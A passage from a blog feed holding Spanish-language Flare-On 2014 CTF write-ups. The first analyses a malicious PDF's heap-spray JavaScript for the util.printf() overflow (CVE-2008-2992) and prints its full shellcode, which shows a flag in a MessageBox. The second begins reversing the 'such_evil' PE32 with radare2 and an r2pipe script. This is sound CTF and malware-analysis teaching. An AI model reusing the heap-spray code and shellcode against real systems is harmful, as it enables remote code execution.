</span></span><span style="display:flex;"><span><span style="color:#a6e22e">substr2</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">str1</span>.<span style="color:#a6e22e">substring</span>(<span style="color:#ae81ff">0</span>, <span style="color:#a6e22e">str1</span>.<span style="color:#a6e22e">length</span><span style="color:#f92672">-</span><span style="color:#a6e22e">total_len</span>);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">while</span>(<span style="color:#a6e22e">substr2</span>.<span style="color:#a6e22e">length</span><span style="color:#f92672">+</span><span style="color:#a6e22e">total_len</span> <span style="color:#f92672">&lt;</span> <span style="color:#ae81ff">0x40000</span>) <span style="color:#a6e22e">substr2</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">substr2</span><span style="color:#f92672">+</span><span style="color:#a6e22e">substr2</span><span style="color:#f92672">+</span><span style="color:#a6e22e">substr1</span>;
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">array1</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">new</span> Array();
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span> (<span style="color:#a6e22e">i</span><span style="color:#f92672">=</span><span style="color:#ae81ff">0</span>;<span style="color:#a6e22e">i</span><span style="color:#f92672">&lt;</span><span style="color:#ae81ff">100</span>;<span style="color:#a6e22e">i</span><span style="color:#f92672">++</span>) <span style="color:#a6e22e">array1</span>[<span style="color:#a6e22e">i</span>] <span style="color:#f92672">=</span> <span style="color:#a6e22e">substr2</span> <span style="color:#f92672">+</span> <span style="color:#a6e22e">out1_pay</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span> (<span style="color:#a6e22e">i</span><span style="color:#f92672">=</span><span style="color:#ae81ff">142</span>;<span style="color:#a6e22e">i</span><span style="color:#f92672">&gt;=</span><span style="color:#ae81ff">0</span>;<span style="color:#f92672">--</span><span style="color:#a6e22e">i</span>) <span style="color:#a6e22e">output2</span> <span style="color:#f92672">+=</span> <span style="color:#a6e22e">unescape</span>(<span style="color:#e6db74">&#34;%ub550%u0166&#34;</span>);
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">offset2</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">output2</span>.<span style="color:#a6e22e">length</span> <span style="color:#f92672">+</span> <span style="color:#ae81ff">20</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">while</span> (<span style="color:#a6e22e">output2</span>.<span style="color:#a6e22e">length</span> <span style="color:#f92672">&lt;</span> <span style="color:#a6e22e">offset2</span>) <span style="color:#a6e22e">output2</span> <span style="color:#f92672">+=</span> <span style="color:#a6e22e">output2</span>;
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">substr3</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">output2</span>.<span style="color:#a6e22e">substring</span>(<span style="color:#ae81ff">0</span>, <span style="color:#a6e22e">offset2</span>);
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">substr4</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">output2</span>.<span style="color:#a6e22e">substring</span>(<span style="color:#ae81ff">0</span>, <span style="color:#a6e22e">output2</span>.<span style="color:#a6e22e">length</span><span style="color:#f92672">-</span><span style="color:#a6e22e">offset2</span>);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">while</span>(<span style="color:#a6e22e">substr4</span>.<span style="color:#a6e22e">length</span><span style="color:#f92672">+</span><span style="color:#a6e22e">offset2</span> <span style="color:#f92672">&lt;</span> <span style="color:#ae81ff">0x40000</span>) <span style="color:#a6e22e">substr4</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">substr4</span><span style="color:#f92672">+</span><span style="color:#a6e22e">substr4</span><span style="color:#f92672">+</span><span style="color:#a6e22e">substr3</span>;
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">array2</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">new</span> Array();
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span> (<span style="color:#a6e22e">i</span><span style="color:#f92672">=</span><span style="color:#ae81ff">0</span>;<span style="color:#a6e22e">i</span><span style="color:#f92672">&lt;</span><span style="color:#ae81ff">125</span>;<span style="color:#a6e22e">i</span><span style="color:#f92672">++</span>) <span style="color:#a6e22e">array2</span>[<span style="color:#a6e22e">i</span>] <span style="color:#f92672">=</span> <span style="color:#a6e22e">substr4</span> <span style="color:#f92672">+</span> <span style="color:#a6e22e">output2</span>;
</span></span></code></pre></div><p>El código se comprende un poco mejor, pero lo que tenemos es básicamente padding para el payload. Con esta información, investigando un poco tenemos que se trata de un exploit de una función llamada util.printf() que desencadena un buffer overflow, CVE-2008-2992, lo cual nos permite ejecutar código a nivel de user space. Para mas referencia, podemos visitar el siguiente <a href="https://resources.infosecinstitute.com/hacking-pdf-part-1/">enlace</a>.</p>
<p>Convirtamos ahora el unicode 16 a un archivo binario:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/flare-on2014/challenge04$ echo &#34;%u72f9%u4649%u1525%u7f0d%u3d3c%ue084%ud62a%ue139%ua84a%u76b9%u9824%u7378%u7d71%u757f%u2076%u96d4%uba91%u1970%ub8f9%ue232%u467b%u9ba8%ufe01%uc7c6%ue3c1%u7e24%u437c%ue180%ub115%ub3b2%u4f66%u27b6%u9f3c%u7a4e%u412d%ubbbf%u7705%uf528%u9293%u9990%ua998%u0a47%u14eb%u3d49%u484b%u372f%ub98d%u3478%u0bb4%ud5d2%ue031%u3572%ud610%u6740%u2bbe%u4afd%u041c%u3f97%ufc3a%u7479%u421d%ub7b5%u0c2c%u130d%u25f8%u76b0%u4e79%u7bb1%u0c66%u2dbb%u911c%ua92f%ub82c%u8db0%u0d7e%u3b96%u49d4%ud56b%u03b7%ue1f7%u467d%u77b9%u3d42%u111d%u67e0%u4b92%ueb85%u2471%u9b48%uf902%u4f15%u04ba%ue300%u8727%u9fd6%u4770%u187a%u73e2%ufd1b%u2574%u437c%u4190%u97b6%u1499%u783c%u8337%ub3f8%u7235%u693f%u98f5%u7fbe%u4a75%ub493%ub5a8%u21bf%ufcd0%u3440%u057b%ub2b2%u7c71%u814e%u22e1%u04eb%u884a%u2ce2%u492d%u8d42%u75b3%uf523%u727f%ufc0b%u0197%ud3f7%u90f9%u41be%ua81c%u7d25%ub135%u7978%uf80a%ufd32%u769b%u921d%ubbb4%u77b8%u707e%u4073%u0c7a%ud689%u2491%u1446%u9fba%uc087%u0dd4%u4bb0%ub62f%ue381%u0574%u3fb9%u1b67%u93d5%u8396%u66e0%u47b5%u98b7%u153c%ua934%u3748%u3d27%u4f75%u8cbf%u43e2%ub899%u3873%u7deb%u257a%uf985%ubb8d%u7f91%u9667%ub292%u4879%u4a3c%ud433%u97a9%u377e%ub347%u933d%u0524%u9f3f%ue139%u3571%u23b4%ua8d6%u8814%uf8d1%u4272%u76ba%ufd08%ube41%ub54b%u150d%u4377%u1174%u78e3%ue020%u041c%u40bf%ud510%ub727%u70b1%uf52b%u222f%u4efc%u989b%u901d%ub62c%u4f7c%u342d%u0c66%ub099%u7b49%u787a%u7f7e%u7d73%ub946%ub091%u928d%u90bf%u21b7%ue0f6%u134b%u29f5%u67eb%u2577%ue186%u2a05%u66d6%ua8b9%u1535%u4296%u3498%ub199%ub4ba%ub52c%uf812%u4f93%u7b76%u3079%ubefd%u3f71%u4e40%u7cb3%u2775%ue209%u4324%u0c70%u182d%u02e3%u4af9%ubb47%u41b6%u729f%u9748%ud480%ud528%u749b%u1c3c%ufc84%u497d%u7eb8%ud26b%u1de0%u0d76%u3174%u14eb%u3770%u71a9%u723d%ub246%u2f78%u047f%ub6a9%u1c7b%u3a73%u3ce1%u19be%u34f9%ud500%u037a%ue2f8%ub024%ufd4e%u3d79%u7596%u9b15%u7c49%ub42f%u9f4f%u4799%uc13b%ue3d0%u4014%u903f%u41bf%u4397%ub88d%ub548%u0d77%u4ab2%u2d93%u9267%ub198%ufc1a%ud4b9%ub32c%ubaf5%u690c%u91d6%u04a8%u1dbb%u4666%u2505%u35b7%u3742%u4b27%ufc90%ud233%u30b2%uff64%u5a32%u528b%u8b0c%u1452%u728b%u3328%ub1c9%u3318%u33ff%uacc0%u613c%u027c%u202c%ucfc1%u030d%ue2f8%u81f0%u5bff%u4abc%u8b6a%u105a%u128b%uda75%u538b%u033c%uffd3%u3472%u528b%u0378%u8bd3%u2072%uf303%uc933%uad41%uc303%u3881%u6547%u5074%uf475%u7881%u7204%u636f%u7541%u81eb%u0878%u6464%u6572%ue275%u8b49%u2472%uf303%u8b66%u4e0c%u728b%u031c%u8bf3%u8e14%ud303%u3352%u57ff%u6168%u7972%u6841%u694c%u7262%u4c68%u616f%u5464%uff53%u68d2%u3233%u0101%u8966%u247c%u6802%u7375%u7265%uff54%u68d0%u786f%u0141%udf8b%u5c88%u0324%u6168%u6567%u6842%u654d%u7373%u5054%u54ff%u2c24%u6857%u2144%u2121%u4f68%u4e57%u8b45%ue8dc%u0000%u0000%u148b%u8124%u0b72%ua316%u32fb%u7968%ubece%u8132%u1772%u45ae%u48cf%uc168%ue12b%u812b%u2372%u3610%ud29f%u7168%ufa44%u81ff%u2f72%ua9f7%u0ca9%u8468%ucfe9%u8160%u3b72%u93be%u43a9%ud268%u98a3%u8137%u4772%u8a82%u3b62%uef68%u11a4%u814b%u5372%u47d6%uccc0%ube68%ua469%u81ff%u5f72%ucaa3%u3154%ud468%u65ab%u8b52%u57cc%u5153%u8b57%u89f1%u83f7%u1ec7%ufe39%u0b7d%u3681%u4542%u4645%uc683%ueb04%ufff1%u68d0%u7365%u0173%udf8b%u5c88%u0324%u5068%u6f72%u6863%u7845%u7469%uff54%u2474%uff40%u2454%u5740%ud0ff&#34; | sed &#39;s/\%u//g&#39; | xxd -r -p | dd conv=swab of=shellcode.bin
</span></span></code></pre></div><p>Rápidamente imprimimos el código unicode16, sustituimos la parte que dice que es unicode y le indicamos a xxd que haga la conversión de hexa a binario en una sola linea. Finalmente uso DD para cambiar el endianess y salvar el binario.</p>
<p>Ahora podemos usar cualquier desemsamblador para analizar el binario. En mi caso continuare con radare2:</p>
<p><img src="/img/flareon2014-c4/r2-env.png" alt="Entorno de radare2"></p>
<p>Comenzamos por verificar si hay strings conocidos, por lo que ejecutamos un <em>izz</em> y nos topamos con los siguientes strings al final del shellcode:</p>
<p><img src="/img/flareon2014-c4/r2-izz.png" alt="Todos los strings via radare2"></p>
<p>Como podemos ver, siguiendo las direcciones que tenemos en pantalla, vamos a ver donde están esos strings:</p>
<p><img src="/img/flareon2014-c4/r2-messageboxa.png" alt="Push Loads"></p>
<p>Completando los push que no tienen resuelto el hexa a string (considerar los moches con los mov) tenemos lo siguiente:</p>
<pre><code>LoadLibraryA
user32
MessageBoxA
OWNED!!!
</code></pre>
<p>Podemos comenzar a interpretar que <a href="https://docs.microsoft.com/en-us/windows/desktop/api/libloaderapi/nf-libloaderapi-loadlibrarya">LoadLibraryA</a> realiza una llamada a la DLL <strong>user32</strong> durante la ejecución, y a su vez se llama a la función <a href="https://docs.microsoft.com/en-us/windows/desktop/api/winuser/nf-winuser-messagebox">MessageBoxA</a>.</p>
<p>Esta función requiere de 4 parámetros:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-cs" data-lang="cs"><span style="display:flex;"><span><span style="color:#66d9ef">int</span> MessageBox(
</span></span><span style="display:flex;"><span>  HWND    hWnd,
</span></span><span style="display:flex;"><span>  LPCTSTR lpText,
</span></span><span style="display:flex;"><span>  LPCTSTR lpCaption,
</span></span><span style="display:flex;"><span>  UINT    uType
</span></span><span style="display:flex;"><span>);
</span></span></code></pre></div><p>Tenemos un valor que se ve después que se declara la función, el cual es EBX = &ldquo;OWNED!!!&rdquo;:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>0x0000034d      6844212121     push 0x21212144             ; &#39;D!!!&#39;
</span></span><span style="display:flex;"><span>0x00000352      684f574e45     push 0x454e574f             ; &#39;OWNE&#39;
</span></span><span style="display:flex;"><span>0x00000357      8bdc           mov ebx, esp
</span></span></code></pre></div><p>Tenemos otro valor extraño, que es ECX. Aquí se esta realizando XOR entre la dirección incrementada +12 y un valor para cada bloque. Resolviendo el XOR nuestra flag aparece:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>0x0000035e      8b1424         mov edx, dword [esp]                 ; Salvo la ubicacion de ESP en EDX
</span></span><span style="display:flex;"><span>0x00000361      81720b16a3fb.  xor dword [edx + 0xb], 0x32fba316    ; XOR de EDX+11 (0x32bece79) con 0x32fba316 = &#34;omE&#34;
</span></span><span style="display:flex;"><span>0x00000368      6879cebe32     push 0x32bece79                      ;
</span></span><span style="display:flex;"><span>0x0000036d      817217ae45cf.  xor dword [edx + 0x17], 0x48cf45ae   ; XOR de EDX+23 (0x2be12bc1) con 0x48cf45ae = &#34;on.c&#34;
</span></span><span style="display:flex;"><span>0x00000374      68c12be12b     push 0x2be12bc1                      ;
</span></span><span style="display:flex;"><span>0x00000379      81722310369f.  xor dword [edx + 0x23], 0xd29f3610   ; XOR de EDX+35 (0xfffa4471) con 0xd29f3610 = &#34;are-&#34;
</span></span><span style="display:flex;"><span>0x00000380      687144faff     push 0xfffa4471                      ;
</span></span><span style="display:flex;"><span>0x00000385      81722ff7a9a9.  xor dword [edx + 0x2f], 0xca9a9f7    ; XOR de EDX+47 (0x60cfe984) con 0xca9a9f7 = &#34;s@fl&#34;
</span></span><span style="display:flex;"><span>0x0000038c      6884e9cf60     push 0x60cfe984                      ;
</span></span><span style="display:flex;"><span>0x00000391      81723bbe93a9.  xor dword [edx + 0x3b], 0x43a993be   ; XOR de EDX+59 (0x3798a3d2) con 0x43a993be = &#34;l01t&#34;
</span></span><span style="display:flex;"><span>0x00000398      68d2a39837     push 0x3798a3d2                      ;
</span></span><span style="display:flex;"><span>0x0000039d      817247828a62.  xor dword [edx + 0x47], 0x3b628a82   ; XOR de EDX+71 (0x4b11a4ef) con 0x3b628a82 = &#34;m.sp&#34;
</span></span><span style="display:flex;"><span>0x000003a4      68efa4114b     push 0x4b11a4ef                      ;
</span></span><span style="display:flex;"><span>0x000003a9      817253d647c0.  xor dword [edx + 0x53], 0xccc047d6   ; XOR de EDX+83 (0xffa469be) con 0xccc047d6 = &#34;h.d3&#34;
</span></span><span style="display:flex;"><span>0x000003b0      68be69a4ff     push 0xffa469be                      ;
</span></span><span style="display:flex;"><span>0x000003b5      81725fa3ca54.  xor dword [edx + 0x5f], 0x3154caa3   ; XOR de EDX+95 (0x5265abd4) con 0x3154caa3 = &#34;wa1c&#34;
</span></span><span style="display:flex;"><span>0x000003bc      68d4ab6552     push 0x5265abd4                      ;
</span></span><span style="display:flex;"><span>0x000003c1      8bcc           mov ecx, esp                         ; Salvo el valor de ESP en ECX
</span></span></code></pre></div><p>Después tenemos 4 pushes, correspondientes a las variables de MessageBoxA:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>0x000003c3      57             push edi = uType = 0
</span></span><span style="display:flex;"><span>0x000003c4      53             push ebx = lpCaption = &#34;OWNED!!!&#34;
</span></span><span style="display:flex;"><span>0x000003c5      51             push ecx = lpText = &#34;wa1ch.d3m.spl01ts@flare-on.comE&#34;
</span></span><span style="display:flex;"><span>0x000003c6      57             push edi = hWnd = 0
</span></span></code></pre></div><p>Continuamos con un loop de XOR que modifica el valor de lpText para cifrarlo:</p>
<p><img src="/img/flareon2014-c4/r2-xor.png" alt="XOR the text!"></p>
<p>Finalmente, EAX es llamado para a su vez, llamar a MessageBoxA con sus parámetros (call eax), y al final tenemos el ultimo &ldquo;Call EAX&rdquo; que también llama a la función ExitProcess con parámetro 0:</p>
<p><img src="/img/flareon2014-c4/r2-calleax.png" alt="Push Loads"></p>
<p>Este shellcode puede ser cargado en un exe para ejecutarlo y validar lo que el análisis estático ya nos revelo. También durante la ejecución del debugger podemos comparar el valor antes de que salga a pantalla.</p>
<p>En mi caso use el scdbg+unicorn para interpretar directamente las instrucciones del shellcode, teniendo la siguiente salida:</p>
<p><img src="/img/flareon2014-c4/scdbg1.png" alt="Shellcode Execution"></p>
<p>Esta salida también nos indica las llamadas que realiza el shellcode, ya una vez que todo fue correctamente entregado.</p>
<p>Veamos ahora si detenemos el emulador justo cuando subiamos el valor a ECX antes del XOR de cifrado:</p>
<p><img src="/img/flareon2014-c4/scdbg2.png" alt="Shellcode Emulation and memory dump"></p>
<p>Otra manera también es construir un exe con el payload, en mi caso use la pagina de <a href="http://sandsprite.com/shellcode_2_exe.php">sandsprite</a> para generarlo:</p>
<p><img src="/img/flareon2014-c4/shellcode2exe.png" alt="Shellcode to EXE"></p>
<p>Tras ejecutarlo con wine tenemos el mensaje que ya nos iba indicando scdbg:</p>
<p><img src="/img/flareon2014-c4/shellcode-exe.png" alt="Running EXE with Shellcode"></p>
<p>Y listo, hemos podido encontrar la flag dentro de la variable del texto del mensaje.</p>
<p><strong>flag: <a href="mailto:wa1ch.d3m.spl01ts@flare-on.com">wa1ch.d3m.spl01ts@flare-on.com</a></strong></p>
<hr>
<p>Espero que les haya gustado.</p>
<p>Saludos,</p>]]></content></item><item><title>Flare-on 2014 - Challenge 03: Shellolololol</title><link>https://www.xbyte.mx/posts/flareon2014_-_challenge03/</link><pubDate>Thu, 25 Oct 2018 19:21:39 -0500</pubDate><guid>https://www.xbyte.mx/posts/flareon2014_-_challenge03/</guid><description>&lt;p&gt;Ahora el turno del challenge 3 del FLARE-ON 2014, este se trata de un PE32 que descarga una shellcode maliciosa, veamos que tenemos por aquí&lt;/p&gt;</description><content type="html"><![CDATA[<p>Ahora el turno del challenge 3 del FLARE-ON 2014, este se trata de un PE32 que descarga una shellcode maliciosa, veamos que tenemos por aquí</p>
<p>Bien comenzamos por descomprimir el challenge &ldquo;C3.zip&rdquo;, el cual esta protegido por la contraseña &ldquo;malware&rdquo;.</p>
<blockquote>
<p>Nota: Todos los archivos de challenge se encuentran dentro de un zip que se descarga <a href="http://www.flare-on.com/files/2014_FLAREOn_Challenges.zip" title="Flare-On 2014">aquí</a></p>
</blockquote>
<p><img src="/img/flareon2014-c3/unzip.png" alt="Unzip"></p>
<p>Como podemos ver, el challenge nos entrega unicamente el archivo &ldquo;such_evil&rdquo;, del cual no tenemos mucha información de momento. Tradicionalmente ejecutaría file o hasta un binwalk, pero para este caso nos iremos directo a analizar el archivo con DetectItEasy:</p>
<p><img src="/img/flareon2014-c3/die.png" alt="Detect It Easy"></p>
<p>Como podemos observar, se trata de un ejecutable con formato PE32, que no se encuentra empaquetado y podemos ver que también importa la dll &ldquo;msvcrt.dll&rdquo;. Veamos más detalle sobre el archivo con CFF Explorer:</p>
<p><img src="/img/flareon2014-c3/cffexplorer-import.png" alt="CFF Explorer"></p>
<p>El archivo DLL &ldquo;msvcrt.dll&rdquo;, es la biblioteca estándar de C para Visual C++, la cual nos permite manipular strings, posiciones de memoria, llamadas a la entrada y salida estilo C, entre otras cosas.</p>
<p>Ejecutemos el programa en wine para ver su comportamiento:</p>
<p><img src="/img/flareon2014-c3/first-run.png" alt="BrokenByte"></p>
<p>Como podemos ver, el programa finaliza con un mensaje de BrokenByte y un tipo de error fatal (FatalAppExitA).</p>
<p>Bien, continuamos cargando el archivo en radare2 para comenzar a analizarlo estáticamente:</p>
<p><img src="/img/flareon2014-c3/r2-functions.png" alt="Radare2 - Functions, Imports"></p>
<blockquote>
<p>El warning que recibimos es porque la funcion fcn.00401000 es muy grande y si ejecutáramos un pdf no la imprimiría completa. Para solucionarlo debemos configurar en el entero la variable a 2500</p>
</blockquote>
<p>Observamos las funciones importadas por la DLL msvcrt.dll y 4 funciones incluidas en las instrucciones:</p>
<pre><code>0x00401000    1 1022         fcn.00401000
0x0040258c    1 4            fcn.0040258c
0x00402590    1 10           fcn.00402590
0x004025d1    1 58           fcn.004025d1
</code></pre>
<p>wow, 1022 instrucciones en la primera función, espero que también sepa hacer el café &hellip;</p>
<p>Analicemos desde el entry0:</p>
<p><img src="/img/flareon2014-c3/entry0.png" alt="Entry0-1"></p>
<p><img src="/img/flareon2014-c3/entry0_1.png" alt="Entry0-2"></p>
<p>Se define el stack frame con 0x2c y posteriormente se carga la variable local_18h en el stack y se llama a fcn.004025d1</p>
<p><img src="/img/flareon2014-c3/e0_f1.png" alt="Entry0, Funcion 1"></p>
<p>Veamos que hace esta función:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>0x004025d1      55             push ebp
</span></span><span style="display:flex;"><span>0x004025d2      8b6c2408       mov ebp, dword [arg_8h]     ; Subimos el balor de arg_8h en ebp
</span></span><span style="display:flex;"><span>0x004025d6      8d44240c       lea eax, dword [arg_ch]     ; Cargamos la direccion de arg_ch en EAX
</span></span><span style="display:flex;"><span>0x004025da      894500         mov dword [ebp], eax        ; Cargamos la direccion de arg_ch en EBP
</span></span><span style="display:flex;"><span>0x004025dd      31c0           xor eax, eax                ; EAX = 0
</span></span><span style="display:flex;"><span>0x004025df      894504         mov dword [arg_4h], eax     ; arg_4h = 0
</span></span><span style="display:flex;"><span>0x004025e2      64a100000000   mov eax, dword fs:[0]       ; EAX = 0
</span></span><span style="display:flex;"><span>0x004025e8      894508         mov dword [arg_8h_2], eax   ; arg_8h_2 = 0
</span></span><span style="display:flex;"><span>0x004025eb      b8cc254000     mov eax, 0x4025cc           ; EAX = 0x4025cc
</span></span><span style="display:flex;"><span>0x004025f0      89450c         mov dword [arg_ch_2], eax   ; arg_ch_2 = 0x4025cc
</span></span><span style="display:flex;"><span>0x004025f3      b8c0254000     mov eax, 0x4025c0           ; EAX = 0x4025c0
</span></span><span style="display:flex;"><span>0x004025f8      894510         mov dword [arg_10h], eax    ; arg_10h = 0x4025c0
</span></span><span style="display:flex;"><span>0x004025fb      31c0           xor eax, eax                ; EAX = 0
</span></span><span style="display:flex;"><span>0x004025fd      894514         mov dword [arg_14h], eax    ; arg_14h = 0
</span></span><span style="display:flex;"><span>0x00402600      8d4508         lea eax, dword [arg_8h_2]   ; EAX = direccion de arg_8h_2
</span></span><span style="display:flex;"><span>0x00402603      64a300000000   mov dword fs:[0], eax       ;
</span></span><span style="display:flex;"><span>0x00402609      5d             pop ebp
</span></span><span style="display:flex;"><span>0x0040260a      c3             ret
</span></span></code></pre></div><p>Ok, después en ENTRY0 vemos que se realizan diferentes calls  a las funciones de &ldquo;msvcrt.dll&rdquo;, resumamos lo que sucede en ENTRY0:</p>
<pre><code>fcn.004025d1(int \*local_18h)
controlfp(0x10000, 0x30000)
set_app_type(1)
getmainargs(int \*local_1ch, int \*local_20h, int \*local_24h, 0, int \*local_2ch)
fcn.00401000(int local_1ch, int local_20h, int local_24h)
exit(int local_28h)
</code></pre>
<p>Revisemos estas funciones importadas de &ldquo;msvcrt.dll&rdquo; para darle sentido a lo que ocurre en ENTRY0:</p>
<p><a href="https://docs.microsoft.com/en-us/cpp/c-runtime-library/reference/control87-controlfp-control87-2?view=vs-2017">controlfp</a> es una función que nos permite controlar la precisión de las operaciones punto flotantes, sus argumentos son new y mask con los cuales se redefine la precisión para el programa durante la ejecución:</p>
<pre><code>unsigned int _controlfp(
   unsigned int new,
   unsigned int mask
);
</code></pre>
<p>En este caso, estaríamos colocando la precisión a 53 bits para las tareas punto flotante (revisar las referencias en la documentación):</p>
<pre><code>_controlfp(_PC_53, _MCW_PC)
</code></pre>
<p>La siguiente función es <a href="https://msdn.microsoft.com/en-us/library/ff770596.aspx">set_app_type</a> el cual como su nombre lo indica, nos sirve para indicarle también al sistema operativo cual es el tipo de aplicación que esta ejecutando:</p>
<pre><code>void __set_app_type (
    int at
)
</code></pre>
<p>Como vimos anteriormente, el parámetro para esta función fue 1, lo cual nos lleva a investigar cual de los 3 valores corresponde a 1. Para ello, tuve que hacer referencia a los headers de la <a href="http://www.jbox.dk/sanos/source/win32/msvcrt/msvcrt.h.html">biblioteca</a> el cual me indico que 1 es _CONSOLE_APP</p>
<pre><code>__set_app_type(_CONSOLE_APP)
</code></pre>
<p>La siguiente función es <a href="https://msdn.microsoft.com/en-us/library/ff770599.aspx">getmainargs</a>, la cual recibe 5 argumentos:</p>
<pre><code>int __getmainargs(
   int * _Argc,
   char *** _Argv,
   char *** _Env,
   int _DoWildCard,
   _startupinfo * _StartInfo);
</code></pre>
<p>Por lo que a continuación sabemos que:</p>
<table>
  <thead>
      <tr>
          <th>Variable local</th>
          <th>Nombre de argumento</th>
          <th>Descripción</th>
          <th>Valor</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>local_1ch</td>
          <td>_Argc</td>
          <td>Apuntador</td>
          <td>Desconocido</td>
      </tr>
      <tr>
          <td>local_20h</td>
          <td>_Argv</td>
          <td>Apuntador</td>
          <td>Desconocido</td>
      </tr>
      <tr>
          <td>local_24h</td>
          <td>_Env</td>
          <td>Apuntador</td>
          <td>Desconocido</td>
      </tr>
      <tr>
          <td>n/a</td>
          <td>_DoWildCard</td>
          <td>Entero</td>
          <td>0</td>
      </tr>
      <tr>
          <td>local_2ch</td>
          <td>_startupinfo</td>
          <td>Apuntador</td>
          <td>Desconocido</td>
      </tr>
  </tbody>
</table>
<p>Como nos indica la documentación al respecto de esta función, esta se encarga de preparar los argumentos que recibiría main, parseandolos y copiandolos sobre los apuntadores.</p>
<p>La siguiente función es fcn.00401000, la cual recibe 3 parámetros que como ya vimos tienen los siguientes nombres:</p>
<pre><code>fcn.00401000(int _Argc, int _Argv, int _Env)
</code></pre>
<p>Esto claramente nos indica que esta es la función main() del programa, pero de momento la manejaremos como una función independiente. Comencemos a analizarla:</p>
<blockquote>
<p>Nota: Se ve otro nombre porque mas adelante será renombrada como StackLoader</p>
</blockquote>
<p><img src="/img/flareon2014-c3/loader1.png" alt="Funcion loader, inicio"></p>
<p>Y se sigue así hasta el final:</p>
<p><img src="/img/flareon2014-c3/loader2.png" alt="Funcion loader, final"></p>
<p>Como vemos, lo único que se hace es subir 8bits vía EAX al stack y no lo coloca en direcciones aleatorias sino continuas. Vamos a nombrarla StackLoader para ser mas amigables:</p>
<p><img src="/img/flareon2014-c3/stackloader.png" alt="Rename to StackLoader"></p>
<p>Ok para combinar todo lo que se carga en el stack, ejecutemos r2pipe para concatenar y generar lo que carga el loader:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#75715e">#!/usr/bin/env python</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># -*- coding: utf-8 -*-</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> r2pipe<span style="color:#f92672">,</span> binascii
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>r <span style="color:#f92672">=</span> r2pipe<span style="color:#f92672">.</span>open(<span style="color:#e6db74">&#39;such_evil&#39;</span>)
</span></span><span style="display:flex;"><span>r<span style="color:#f92672">.</span>cmd(<span style="color:#e6db74">&#34;e anal.bb.maxsize=2048000&#34;</span>) <span style="color:#75715e"># Se pone el block size a 2M</span>
</span></span><span style="display:flex;"><span>r<span style="color:#f92672">.</span>cmd(<span style="color:#e6db74">&#34;aa&#34;</span>)
</span></span><span style="display:flex;"><span>fcn_master <span style="color:#f92672">=</span> r<span style="color:#f92672">.</span>cmdj(<span style="color:#e6db74">&#34;aflj&#34;</span>)
</span></span><span style="display:flex;"><span>fcn_payload <span style="color:#f92672">=</span> fcn_master[<span style="color:#ae81ff">0</span>]
</span></span><span style="display:flex;"><span>asm_payload <span style="color:#f92672">=</span> r<span style="color:#f92672">.</span>cmdj(<span style="color:#e6db74">&#34;pDj </span><span style="color:#e6db74">%u</span><span style="color:#e6db74"> @ </span><span style="color:#e6db74">%s</span><span style="color:#e6db74">&#34;</span> <span style="color:#f92672">%</span> (fcn_payload[<span style="color:#e6db74">&#39;realsz&#39;</span>], fcn_payload[<span style="color:#e6db74">&#39;offset&#39;</span>]))
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">with</span> open(<span style="color:#e6db74">&#34;payload.bin&#34;</span>, <span style="color:#e6db74">&#34;wb&#34;</span>) <span style="color:#66d9ef">as</span> fout:
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">for</span> idx <span style="color:#f92672">in</span> range(<span style="color:#ae81ff">4</span>,<span style="color:#ae81ff">1030</span>,<span style="color:#ae81ff">2</span>):
</span></span><span style="display:flex;"><span>        fout<span style="color:#f92672">.</span>write(chr(asm_payload[idx][<span style="color:#e6db74">&#34;val&#34;</span>]))
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>r<span style="color:#f92672">.</span>quit()</span></span></code></pre></div>
<p>Ahora que tenemos el siguiente archivo &ldquo;payload.bin&rdquo;, miremos cual es su contenido en radare2:</p>
<p><img src="/img/flareon2014-c3/xorcode2.png" alt="XOR1"></p>
<p>Veamos como se ve en el modo por grafo:</p>
